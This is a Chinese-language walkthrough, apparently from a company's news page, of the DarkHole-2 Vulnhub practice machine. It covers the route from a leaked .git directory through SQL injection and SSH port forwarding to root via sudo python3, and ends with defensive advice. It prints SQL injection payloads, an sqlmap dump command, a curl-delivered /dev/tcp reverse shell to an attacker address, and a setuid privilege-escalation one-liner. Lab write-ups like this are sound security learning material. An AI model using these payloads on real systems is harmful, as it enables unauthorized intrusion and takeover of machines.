尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

DarkHole-2 靶机渗透:从 Git 泄露到 Python Sudo 提权的 5 步完整复现

DarkHole-2 靶机渗透:从 Git 泄露到 Python Sudo 提权的 5 步完整复现
📅 发布时间:2026/7/11 10:51:40

DarkHole-2 靶机渗透实战:从 Git 泄露到 Python Sudo 提权的深度解析

1. 靶机环境与渗透测试概述

DarkHole-2 是 Vulnhub 平台上的一款中等难度渗透测试靶机,专为网络安全学习者和渗透测试初学者设计。这个靶机模拟了一个存在多个安全漏洞的 Web 应用环境,涵盖了从信息收集到权限提升的完整渗透流程。

核心渗透路径:

  • .git目录泄露导致源码暴露
  • 基于源码分析的凭证获取
  • SQL 注入漏洞利用
  • 内网服务端口转发与利用
  • Python Sudo 权限提升

2. 信息收集与初始访问

2.1 网络扫描与端口探测

使用 Nmap 进行基础扫描是渗透测试的第一步,它能帮助我们快速识别目标系统开放的服务和潜在攻击面:

nmap -sV -p- 192.168.56.105

典型扫描结果:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29

2.2 Web 目录枚举与 Git 泄露

通过目录扫描工具发现.git目录是本次渗透的关键突破口。使用git-dumper工具可以完整下载 Git 仓库:

pip install git-dumper git-dumper http://192.168.56.105/.git/ darkhole_src

Git 历史分析技巧:

  1. 查看提交记录:git log
  2. 分析代码变更:git diff <commit_hash>
  3. 恢复删除内容:git checkout <file_path>

提示:Git 泄露常导致敏感信息暴露,如数据库凭证、API 密钥等,应作为渗透测试的重点检查项。

3. SQL 注入漏洞深度利用

3.1 手动注入技术解析

通过分析获取的源码,发现id参数存在字符型单引号闭合的 SQL 注入。以下是完整的注入流程:

注入点验证:

?id=1' and '1'='1 -- 页面正常 ?id=1' and '1'='2 -- 页面异常

列数判断:

?id=1' order by 6-- - -- 正常 ?id=1' order by 7-- - -- 报错

联合查询利用:

?id=-1' union select 1,database(),3,4,5,6-- -

3.2 自动化工具与手动注入对比

方法优点缺点
手动注入精准控制,绕过WAF耗时,技术要求高
sqlmap自动化,功能全面特征明显,易被拦截

sqlmap 基本用法:

sqlmap -u "http://192.168.56.105/dashboard.php?id=1" --cookie="PHPSESSID=xxx" -D darkhole_2 --dump

4. 内网横向移动技术

4.1 SSH 凭证利用

从 SQL 注入获取的 SSH 凭证(jehad/fool)可用于建立初始立足点:

ssh jehad@192.168.56.105

基础权限检查命令:

id # 查看当前用户权限 sudo -l # 检查sudo权限 find / -perm -u=s -type f 2>/dev/null # 查找SUID文件

4.2 端口转发与本地服务利用

发现靶机内部运行的 9999 端口服务是关键突破口。通过 SSH 本地端口转发实现访问:

ssh -L 9999:localhost:9999 jehad@192.168.56.105

Web 命令执行漏洞利用:

curl "http://localhost:9999/?cmd=whoami" # 确认命令执行 curl "http://localhost:9999/?cmd=bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1'" # 反弹shell

5. 权限提升与 root 获取

5.1 历史记录分析

通过检查用户历史记录发现关键线索:

cat /home/losy/.bash_history

5.2 Python Sudo 提权技术

发现 losy 用户具有无需密码执行 Python 的特权,这是典型的权限配置错误:

sudo -l # 显示:(root) NOPASSWD: /usr/bin/python3

提权利用代码:

sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

原理分析:

  1. os.setuid(0)将进程用户ID设置为root
  2. os.system()以root权限执行系统命令
  3. 整个过程利用了错误的sudo配置绕过密码验证

6. 防御建议与安全加固

6.1 Git 泄露防护

  • 生产环境禁用.git目录访问
  • 使用git-secrets扫描敏感信息
  • 部署前清理提交历史

6.2 SQL 注入防护

// 不安全方式 $query = "SELECT * FROM users WHERE id = '$_GET[id]'"; // 安全方式(使用预处理) $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_GET['id']]);

6.3 权限配置最佳实践

  • 遵循最小权限原则
  • 定期审计sudoers文件
  • 避免直接授权解释器执行权限

7. 渗透测试方法论总结

DarkHole-2 靶机展示了从外网渗透到内网横向移动,最终获取系统最高权限的完整过程。在实际渗透测试中,这种系统性的思维方式比单个漏洞利用更为重要。每个环节获取的信息都应被充分记录和分析,因为它们可能成为后续攻击的跳板。

相关新闻

  • 多层级网络架构中,智能合约的行为模式识别与技术取证方法。
  • (4-2)A*
  • 排序算法-冒泡排序

最新新闻

  • Kiro实战指南:用Opus 4.6实现低成本高精度代码理解与自动化
  • Vue 3 + Three.js r164 项目实战:5步封装可复用3D场景组件(含响应式)
  • Typora插件:解锁PDF批量导出与高级自定义功能终极指南
  • 2026年7月泉州戴尔售后本地化服务全景|交通指引气候养护到店全攻略.txt - 品牌引荐
  • 5分钟快速上手Czkawka:终极免费重复文件清理工具完全指南
  • 秋叶ComfyUI整合包:8GB显存运行Wan2.2视频生成模型实战指南

日新闻

  • OpenClaw本地部署:一键直连微信的私有化AI Agent实战指南
  • Kubernetes 系列【10】控制器:ReplicaSet(副本集)
  • 怎么寄快递才能便宜呢?2026年7月寄快递省钱攻略 - 生活情报姬

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号